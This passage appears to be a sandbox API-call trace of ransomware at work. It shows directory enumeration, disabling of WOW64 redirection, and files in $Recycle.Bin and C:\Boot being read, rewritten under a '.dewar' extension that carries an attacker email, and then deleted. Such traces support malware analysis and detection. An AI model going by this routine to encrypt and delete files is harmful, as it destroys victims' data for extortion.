lpFindFileData=0x2c9ee30*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x83483244, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0x83483244, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0x83483244, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x18000, dwReserved0=0x0, dwReserved1=0x0, cFileName="msado28.tlb", cAlternateFileName="")) returned 1 [0089.101] FindNextFileW (in: hFindFile=0x2684270, lpFindFileData=0x2c9ee30 | out: lpFindFileData=0x2c9ee30*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9ec495ee, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0x9ec495ee, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0x9ec6f74e, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x72000, dwReserved0=0x0, dwReserved1=0x0, cFileName="msadomd.dll", cAlternateFileName="")) returned 1 [0089.101] FindNextFileW (in: hFindFile=0x2684270, lpFindFileData=0x2c9ee30 | out: lpFindFileData=0x2c9ee30*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x62a6a67, ftCreationTime.dwHighDateTime=0x1ca041a, ftLastAccessTime.dwLowDateTime=0x62a6a67, ftLastAccessTime.dwHighDateTime=0x1ca041a, ftLastWriteTime.dwLowDateTime=0x625a7ad, ftLastWriteTime.dwHighDateTime=0x1ca041a, nFileSizeHigh=0x0, nFileSizeLow=0x5000, dwReserved0=0x0, dwReserved1=0x0, cFileName="msadomd28.tlb", cAlternateFileName="")) returned 1 [0089.101] FindNextFileW (in: hFindFile=0x2684270, lpFindFileData=0x2c9ee30 | out: lpFindFileData=0x2c9ee30*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8ad50fa2, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0x8ad50fa2, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0x8ad50fa2, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0xf000, dwReserved0=0x0, dwReserved1=0x0, cFileName="msador15.dll", cAlternateFileName="")) returned 1 [0089.101] FindNextFileW (in: hFindFile=0x2684270, lpFindFileData=0x2c9ee30 | out: lpFindFileData=0x2c9ee30*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9debf8b5, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0x9debf8b5, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0x9dee5a15, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x79000, dwReserved0=0x0, dwReserved1=0x0, cFileName="msadox.dll", cAlternateFileName="")) returned 1 [0089.101] FindNextFileW (in: hFindFile=0x2684270, lpFindFileData=0x2c9ee30 | out: lpFindFileData=0x2c9ee30*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5fd3080, ftCreationTime.dwHighDateTime=0x1ca041a, ftLastAccessTime.dwLowDateTime=0x5fd3080, ftLastAccessTime.dwHighDateTime=0x1ca041a, ftLastWriteTime.dwLowDateTime=0x5f60c69, ftLastWriteTime.dwHighDateTime=0x1ca041a, nFileSizeHigh=0x0, nFileSizeLow=0x7000, dwReserved0=0x0, dwReserved1=0x0, cFileName="msadox28.tlb", cAlternateFileName="")) returned 1 [0089.102] FindNextFileW (in: hFindFile=0x2684270, lpFindFileData=0x2c9ee30 | out: lpFindFileData=0x2c9ee30*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xbf55bba, ftCreationTime.dwHighDateTime=0x1ca041a, ftLastAccessTime.dwLowDateTime=0xbf55bba, ftLastAccessTime.dwHighDateTime=0x1ca041a, ftLastWriteTime.dwLowDateTime=0x347dbdb0, ftLastWriteTime.dwHighDateTime=0x1ca0424, nFileSizeHigh=0x0, nFileSizeLow=0x1a000, dwReserved0=0x0, dwReserved1=0x0, cFileName="msadrh15.dll", cAlternateFileName="")) returned 1 [0089.102] FindNextFileW (in: hFindFile=0x2684270, lpFindFileData=0x2c9ee30 | out: lpFindFileData=0x2c9ee30*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xbf55bba, ftCreationTime.dwHighDateTime=0x1ca041a, ftLastAccessTime.dwLowDateTime=0xbf55bba, ftLastAccessTime.dwHighDateTime=0x1ca041a, ftLastWriteTime.dwLowDateTime=0x347dbdb0, ftLastWriteTime.dwHighDateTime=0x1ca0424, nFileSizeHigh=0x0, nFileSizeLow=0x1a000, dwReserved0=0x0, dwReserved1=0x0, cFileName="msadrh15.dll", cAlternateFileName="")) returned 0 [0089.102] FindClose (in: hFindFile=0x2684270 | out: hFindFile=0x2684270) returned 1 [0089.102] GetProcessHeap () returned 0x550000 [0089.102] HeapFree (in: hHeap=0x550000, dwFlags=0x0, lpMem=0x26a90b0 | out: hHeap=0x550000) returned 1 [0089.102] FindNextFileW (in: hFindFile=0x2684230, lpFindFileData=0x2c9f0b8 | out: lpFindFileData=0x2c9f0b8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xbf4f1c09, ftCreationTime.dwHighDateTime=0x1ca0415, ftLastAccessTime.dwLowDateTime=0xbf4f1c09, ftLastAccessTime.dwHighDateTime=0x1ca0415, ftLastWriteTime.dwLowDateTime=0x128ffb00, ftLastWriteTime.dwHighDateTime=0x1ca0424, nFileSizeHigh=0x0, nFileSizeLow=0x7200, dwReserved0=0x0, dwReserved1=0x0, cFileName="DirectDB.dll", cAlternateFileName="")) returned 1 [0089.102] FindNextFileW (in: hFindFile=0x2684230, lpFindFileData=0x2c9f0b8 | out: lpFindFileData=0x2c9f0b8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1eab37af, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x23ef19fc, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1eab37af, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="en-US", cAlternateFileName="")) returned 1 [0089.103] GetProcessHeap () returned 0x550000 [0089.103] RtlAllocateHeap (HeapHandle=0x550000, Flags=0x0, Size=0x10000) returned 0x26a90b0 [0089.103] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\System\\en-US\\*", lpFindFileData=0x2c9ee30 | out: lpFindFileData=0x2c9ee30*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1eab37af, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x23ef19fc, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1eab37af, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x2684270 [0089.103] FindNextFileW (in: hFindFile=0x2684270, lpFindFileData=0x2c9ee30 | out: lpFindFileData=0x2c9ee30*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1eab37af, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x23ef19fc, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1eab37af, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0089.103] FindNextFileW (in: hFindFile=0x2684270, lpFindFileData=0x2c9ee30 | out: lpFindFileData=0x2c9ee30*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb313d55, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0xb5e9110, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0xb313d55, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x16e00, dwReserved0=0x0, dwReserved1=0x0, cFileName="wab32res.dll.mui", cAlternateFileName="")) returned 1 [0089.104] FindNextFileW (in: hFindFile=0x2684270, lpFindFileData=0x2c9ee30 | out: lpFindFileData=0x2c9ee30*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb313d55, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0xb5e9110, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0xb313d55, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x16e00, dwReserved0=0x0, dwReserved1=0x0, cFileName="wab32res.dll.mui", cAlternateFileName="")) returned 0 [0089.104] FindClose (in: hFindFile=0x2684270 | out: hFindFile=0x2684270) returned 1 [0089.104] GetProcessHeap () returned 0x550000 [0089.104] HeapFree (in: hHeap=0x550000, dwFlags=0x0, lpMem=0x26a90b0 | out: hHeap=0x550000) returned 1 [0089.104] FindNextFileW (in: hFindFile=0x2684230, lpFindFileData=0x2c9f0b8 | out: lpFindFileData=0x2c9f0b8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd885082, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x1eab37af, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1eab37af, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="msadc", cAlternateFileName="")) returned 1 [0089.104] GetProcessHeap () returned 0x550000 [0089.104] RtlAllocateHeap (HeapHandle=0x550000, Flags=0x0, Size=0x10000) returned 0x26a90b0 [0089.104] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\System\\msadc\\*", lpFindFileData=0x2c9ee30 | out: lpFindFileData=0x2c9ee30*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd885082, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x1eab37af, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1eab37af, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x2684270 [0089.109] FindNextFileW (in: hFindFile=0x2684270, lpFindFileData=0x2c9ee30 | out: lpFindFileData=0x2c9ee30*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd885082, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x1eab37af, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1eab37af, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0089.109] FindNextFileW (in: hFindFile=0x2684270, lpFindFileData=0x2c9ee30 | out: lpFindFileData=0x2c9ee30*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa34c44b4, ftCreationTime.dwHighDateTime=0x1ca0409, ftLastAccessTime.dwLowDateTime=0xa34c44b4, ftLastAccessTime.dwHighDateTime=0x1ca0409, ftLastWriteTime.dwLowDateTime=0xa05a2bb2, ftLastWriteTime.dwHighDateTime=0x1ca03fb, nFileSizeHigh=0x0, nFileSizeLow=0x276, dwReserved0=0x0, dwReserved1=0x0, cFileName="adcjavas.inc", cAlternateFileName="")) returned 1 [0089.110] FindNextFileW (in: hFindFile=0x2684270, lpFindFileData=0x2c9ee30 | out: lpFindFileData=0x2c9ee30*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa34ea611, ftCreationTime.dwHighDateTime=0x1ca0409, ftLastAccessTime.dwLowDateTime=0xa34ea611, ftLastAccessTime.dwHighDateTime=0x1ca0409, ftLastWriteTime.dwLowDateTime=0xa063b126, ftLastWriteTime.dwHighDateTime=0x1ca03fb, nFileSizeHigh=0x0, nFileSizeLow=0x26f, dwReserved0=0x0, dwReserved1=0x0, cFileName="adcvbs.inc", cAlternateFileName="")) returned 1 [0089.110] FindNextFileW (in: hFindFile=0x2684270, lpFindFileData=0x2c9ee30 | out: lpFindFileData=0x2c9ee30*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1eab37af, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x23ef19fc, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1eab37af, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="en-US", cAlternateFileName="")) returned 1 [0089.110] GetProcessHeap () returned 0x550000 [0089.110] RtlAllocateHeap (HeapHandle=0x550000, Flags=0x0, Size=0x10000) returned 0x26d70c8 [0089.110] FindFirstFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\System\\msadc\\en-US\\*", lpFindFileData=0x2c9eba8) Thread: id = 20 os_tid = 0x67c [0060.477] GetProcessHeap () returned 0x550000 [0060.478] RtlAllocateHeap (HeapHandle=0x550000, Flags=0x0, Size=0x10000) returned 0x60c6e0 [0060.478] GetProcessHeap () returned 0x550000 [0060.478] RtlAllocateHeap (HeapHandle=0x550000, Flags=0x0, Size=0x10000) returned 0x61c6e8 [0060.479] GetProcessHeap () returned 0x550000 [0060.479] RtlAllocateHeap (HeapHandle=0x550000, Flags=0x0, Size=0x28) returned 0x570960 [0060.479] GetProcessHeap () returned 0x550000 [0060.479] RtlAllocateHeap (HeapHandle=0x550000, Flags=0x0, Size=0x110102) returned 0x3150020 [0060.479] GetProcessHeap () returned 0x550000 [0060.479] RtlAllocateHeap (HeapHandle=0x550000, Flags=0x0, Size=0x50) returned 0x570990 [0060.480] GetModuleHandleA (lpModuleName="kernel32.dll") returned 0x76e10000 [0060.480] GetProcAddress (hModule=0x76e10000, lpProcName="Wow64DisableWow64FsRedirection") returned 0x76e3d650 [0060.480] Wow64DisableWow64FsRedirection (in: OldValue=0x2dafa4c | out: OldValue=0x2dafa4c*=0x0) returned 1 [0060.480] GetProcessHeap () returned 0x550000 [0060.480] HeapFree (in: hHeap=0x550000, dwFlags=0x0, lpMem=0x570990 | out: hHeap=0x550000) returned 1 [0060.481] CreateFileW (lpFileName="\\\\?\\C:\\$Recycle.Bin\\S-1-5-21-3388679973-3930757225-3770151564-1000\\desktop.ini" (normalized: "c:\\$recycle.bin\\s-1-5-21-3388679973-3930757225-3770151564-1000\\desktop.ini"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x184 [0060.481] GetFileSizeEx (in: hFile=0x184, lpFileSize=0x2daf9f8 | out: lpFileSize=0x2daf9f8*=129) returned 1 [0060.481] CloseHandle (hObject=0x184) returned 1 [0060.481] GetFileAttributesW (lpFileName="\\\\?\\C:\\$Recycle.Bin\\S-1-5-21-3388679973-3930757225-3770151564-1000\\desktop.ini" (normalized: "c:\\$recycle.bin\\s-1-5-21-3388679973-3930757225-3770151564-1000\\desktop.ini")) returned 0x26 [0060.482] GetFileAttributesW (lpFileName="\\\\?\\C:\\$Recycle.Bin\\S-1-5-21-3388679973-3930757225-3770151564-1000\\desktop.ini" (normalized: "c:\\$recycle.bin\\s-1-5-21-3388679973-3930757225-3770151564-1000\\desktop.ini")) returned 0x26 [0060.482] GetFileAttributesW (lpFileName="\\\\?\\C:\\$Recycle.Bin\\S-1-5-21-3388679973-3930757225-3770151564-1000\\desktop.ini.id[9C354B42-2713].[chagenak@airmail.cc].dewar" (normalized: "c:\\$recycle.bin\\s-1-5-21-3388679973-3930757225-3770151564-1000\\desktop.ini.id[9c354b42-2713].[chagenak@airmail.cc].dewar")) returned 0xffffffff [0060.482] CreateFileW (lpFileName="\\\\?\\C:\\$Recycle.Bin\\S-1-5-21-3388679973-3930757225-3770151564-1000\\desktop.ini" (normalized: "c:\\$recycle.bin\\s-1-5-21-3388679973-3930757225-3770151564-1000\\desktop.ini"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x184 [0060.482] SetFilePointerEx (in: hFile=0x184, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2daf9c0 | out: lpNewFilePointer=0x0) returned 1 [0060.482] SetFilePointerEx (in: hFile=0x184, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2daf9c0 | out: lpNewFilePointer=0x0) returned 1 [0060.482] CreateFileW (lpFileName="\\\\?\\C:\\$Recycle.Bin\\S-1-5-21-3388679973-3930757225-3770151564-1000\\desktop.ini.id[9C354B42-2713].[chagenak@airmail.cc].dewar" (normalized: "c:\\$recycle.bin\\s-1-5-21-3388679973-3930757225-3770151564-1000\\desktop.ini.id[9c354b42-2713].[chagenak@airmail.cc].dewar"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x26, hTemplateFile=0x0) returned 0x188 [0060.483] ReadFile (in: hFile=0x184, lpBuffer=0x3150020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x2daf9cc, lpOverlapped=0x0 | out: lpBuffer=0x3150020*, lpNumberOfBytesRead=0x2daf9cc*=0x81, lpOverlapped=0x0) returned 1 [0060.881] WriteFile (in: hFile=0x188, lpBuffer=0x3150020*, nNumberOfBytesToWrite=0x90, lpNumberOfBytesWritten=0x2daf9b0, lpOverlapped=0x0 | out: lpBuffer=0x3150020*, lpNumberOfBytesWritten=0x2daf9b0*=0x90, lpOverlapped=0x0) returned 1 [0060.884] WriteFile (in: hFile=0x188, lpBuffer=0x3150020*, nNumberOfBytesToWrite=0xf2, lpNumberOfBytesWritten=0x2daf9b0, lpOverlapped=0x0 | out: lpBuffer=0x3150020*, lpNumberOfBytesWritten=0x2daf9b0*=0xf2, lpOverlapped=0x0) returned 1 [0060.884] CloseHandle (hObject=0x184) returned 1 [0060.885] CloseHandle (hObject=0x188) returned 1 [0060.890] DeleteFileW (lpFileName="\\\\?\\C:\\$Recycle.Bin\\S-1-5-21-3388679973-3930757225-3770151564-1000\\desktop.ini" (normalized: "c:\\$recycle.bin\\s-1-5-21-3388679973-3930757225-3770151564-1000\\desktop.ini")) returned 1 [0060.894] CreateFileW (lpFileName="\\\\?\\C:\\Boot\\BCD.LOG2" (normalized: "c:\\boot\\bcd.log2"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1a4 [0062.956] GetFileSizeEx (in: hFile=0x1a4, lpFileSize=0x2daf9f8 | out: lpFileSize=0x2daf9f8*=0) returned 1 [0062.957] CloseHandle (hObject=0x1a4) returned 1 [0062.957] CreateFileW (lpFileName="\\\\?\\C:\\Boot\\BOOTSTAT.DAT" (normalized: "c:\\boot\\bootstat.dat"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1a4 [0062.957] GetFileSizeEx (in: hFile=0x1a4, lpFileSize=0x2daf9f8 | out: lpFileSize=0x2daf9f8*=65536) returned 1 [0062.958] CloseHandle (hObject=0x1a4) returned 1 [0062.958] GetFileAttributesW (lpFileName="\\\\?\\C:\\Boot\\BOOTSTAT.DAT" (normalized: "c:\\boot\\bootstat.dat")) returned 0x26 [0062.958] GetFileAttributesW (lpFileName="\\\\?\\C:\\Boot\\BOOTSTAT.DAT" (normalized: "c:\\boot\\bootstat.dat")) returned 0x26 [0062.958] GetFileAttributesW (lpFileName="\\\\?\\C:\\Boot\\BOOTSTAT.DAT.id[9C354B42-2713].[chagenak@airmail.cc].dewar" (normalized: "c:\\boot\\bootstat.dat.id[9c354b42-2713].[chagenak@airmail.cc].dewar")) returned 0xffffffff [0062.958] CreateFileW (lpFileName="\\\\?\\C:\\Boot\\BOOTSTAT.DAT" (normalized: "c:\\boot\\bootstat.dat"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1a4 [0062.958] SetFilePointerEx (in: hFile=0x1a4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2daf9c0 | out: lpNewFilePointer=0x0) returned 1 [0062.959] SetFilePointerEx (in: hFile=0x1a4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2daf9c0 | out: lpNewFilePointer=0x0) returned 1 [0062.959] CreateFileW (lpFileName="\\\\?\\C:\\Boot\\BOOTSTAT.DAT.id[9C354B42-2713].[chagenak@airmail.cc].dewar" (normalized: "c:\\boot\\bootstat.dat.id[9c354b42-2713].[chagenak@airmail.cc].dewar"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x26, hTemplateFile=0x0) returned 0x1a0 [0062.960] ReadFile (in: hFile=0x1a4, lpBuffer=0x3150020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x2daf9cc, lpOverlapped=0x0 | out: lpBuffer=0x3150020*, lpNumberOfBytesRead=0x2daf9cc*=0x10000, lpOverlapped=0x0) returned 1 [0062.965] WriteFile (in: hFile=0x1a0, lpBuffer=0x3150020*, nNumberOfBytesToWrite=0x10010, lpNumberOfBytesWritten=0x2daf9b0, lpOverlapped=0x0 | out: lpBuffer=0x3150020*, lpNumberOfBytesWritten=0x2daf9b0*=0x10010, lpOverlapped=0x0) returned 1 [0062.972] WriteFile (in: hFile=0x1a0, lpBuffer=0x3150020*, nNumberOfBytesToWrite=0xf2, lpNumberOfBytesWritten=0x2daf9b0, lpOverlapped=0x0 | out: lpBuffer=0x3150020*, lpNumberOfBytesWritten=0x2daf9b0*=0xf2, lpOverlapped=0x0) returned 1 [0062.972] CloseHandle (hObject=0x1a4) returned 1 [0062.972] CloseHandle (hObject=0x1a0) returned 1 [0062.979] DeleteFileW (lpFileName="\\\\?\\C:\\Boot\\BOOTSTAT.DAT" (normalized: "c:\\boot\\bootstat.dat")) returned 1 [0062.984] CreateFileW (lpFileName="\\\\?\\C:\\Boot\\cs-CZ\\bootmgr.exe.mui" (normalized: "c:\\boot\\cs-cz\\bootmgr.exe.mui"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1a0 [0062.985] GetFileSizeEx (in: hFile=0x1a0, lpFileSize=0x2daf9f8 | out: lpFileSize=0x2daf9f8*=89168) returned 1 [0062.985] CloseHandle (hObject=0x1a0) returned 1 [0062.985] GetFileAttributesW (lpFileName="\\\\?\\C:\\Boot\\cs-CZ\\bootmgr.exe.mui" (normalized: "c:\\boot\\cs-cz\\bootmgr.exe.mui")) returned 0x20 [0062.985] GetFileAttributesW (lpFileName="\\\\?\\C:\\Boot\\cs-CZ\\bootmgr.exe.mui" (normalized: "c:\\boot\\cs-cz\\bootmgr.exe.mui")) returned 0x20 [0062.985] GetFileAttributesW (lpFileName="\\\\?\\C:\\Boot\\cs-CZ\\bootmgr.exe.mui.id[9C354B42-2713].[chagenak@airmail.cc].dewar" (normalized: "c:\\boot\\cs-cz\\bootmgr.exe.mui.id[9c354b42-2713].[chagenak@airmail.cc].dewar")) returned 0xffffffff [0062.986] CreateFileW (lpFileName="\\\\?\\C:\\Boot\\cs-CZ\\bootmgr.exe.mui" (normalized: "c:\\boot\\cs-cz\\bootmgr.exe.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0062.986] CreateFileW (lpFileName="\\\\?\\C:\\Boot\\da-DK\\bootmgr.exe.mui" (normalized: "c:\\boot\\da-dk\\bootmgr.exe.mui"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1a0 [0062.987] GetFileSizeEx (in: hFile=0x1a0, lpFileSize=0x2daf9f8 | out: lpFileSize=0x2daf9f8*=87616) returned 1 [0062.987] CloseHandle (hObject=0x1a0) returned 1 [0062.989] GetFileAttributesW (lpFileName="\\\\?\\C:\\Boot\\da-DK\\bootmgr.exe.mui" (normalized: "c:\\boot\\da-dk\\bootmgr.exe.mui")) returned 0x20 [0062.989] GetFileAttributesW (lpFileName="\\\\?\\C:\\Boot\\da-DK\\bootmgr.exe.mui" (normalized: "c:\\boot\\da-dk\\bootmgr.exe.mui")) returned 0x20 [0062.990] GetFileAttributesW (lpFileName="\\\\?\\C:\\Boot\\da-DK\\bootmgr.exe.mui.id[9C354B42-2713].[chagenak@airmail.cc].dewar" (normalized: "c:\\boot\\da-dk\\bootmgr.exe.mui.id[9c354b42-2713].[chagenak@airmail.cc].dewar")) returned 0xffffffff [0062.990] CreateFileW (lpFileName="\\\\?\\C:\\Boot\\da-DK\\bootmgr.exe.mui" (normalized: "c:\\boot\\da-dk\\bootmgr.exe.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0062.990] CreateFileW (lpFileName="\\\\?\\C:\\Boot\\de-DE\\bootmgr.exe.mui" (normalized: "c:\\boot\\de-de\\bootmgr.exe.mui"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1a0 [0062.991] GetFileSizeEx (in: hFile=0x1a0, lpFileSize=0x2daf9f8 | out: lpFileSize=0x2daf9f8*=91712) returned 1 [0062.991] CloseHandle (hObject=0x1a0) returned 1 [0062.991] GetFileAttributesW (lpFileName="\\\\?\\C:\\Boot\\de-DE\\bootmgr.exe.mui" (normalized: "c:\\boot\\de-de\\bootmgr.exe.mui")) returned 0x20 [0062.991] GetFileAttributesW (lpFileName="\\\\?\\C:\\Boot\\de-DE\\bootmgr.exe.mui" (normalized: "c:\\boot\\de-de\\bootmgr.exe.mui")) returned 0x20 [0062.992] GetFileAttributesW (lpFileName="\\\\?\\C:\\Boot\\de-DE\\bootmgr.exe.mui.id[9C354B42-2713].[chagenak@airmail.cc].dewar" (normalized: "c:\\boot\\de-de\\bootmgr.exe.mui.id[9c354b42-2713].[chagenak@airmail.cc].dewar")) returned 0xffffffff [0062.992] CreateFileW (lpFileName="\\\\?\\C:\\Boot\\de-DE\\bootmgr.exe.mui" (normalized: "c:\\boot\\de-de\\bootmgr.exe.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0062.992] CreateFileW (lpFileName="\\\\?\\C:\\Boot\\el-GR\\bootmgr.exe.mui" (normalized: "c:\\boot\\el-gr\\bootmgr.exe.mui"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1a0 [0062.993] GetFileSizeEx (in: hFile=0x1a0, lpFileSize=0x2daf9f8 | out: lpFileSize=0x2daf9f8*=94800) returned 1 [0062.993] CloseHandle (hObject=0x1a0) returned 1 [0062.993] GetFileAttributesW (lpFileName="\\\\?\\C:\\Boot\\el-GR\\bootmgr.exe.mui" (normalized: "c:\\boot\\el-gr\\bootmgr.exe.mui")) returned 0x20 [0062.993] GetFileAttributesW (lpFileName="\\\\?\\C:\\Boot\\el-GR\\bootmgr.exe.mui" (normalized: "c:\\boot\\el-gr\\bootmgr.exe.mui")) returned 0x20 [0062.993] GetFileAttributesW (lpFileName="\\\\?\\C:\\Boot\\el-GR\\bootmgr.exe.mui.id[9C354B42-2713].[chagenak@airmail.cc].dewar" (normalized: "c:\\boot\\el-gr\\bootmgr.exe.mui.id[9c354b42-2713].[chagenak@airmail.cc].dewar")) returned 0xffffffff [0062.993] CreateFileW (lpFileName="\\\\?\\C:\\Boot\\el-GR\\bootmgr.exe.mui" (normalized: "c:\\boot\\el-gr\\bootmgr.exe.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0062.994] CreateFileW 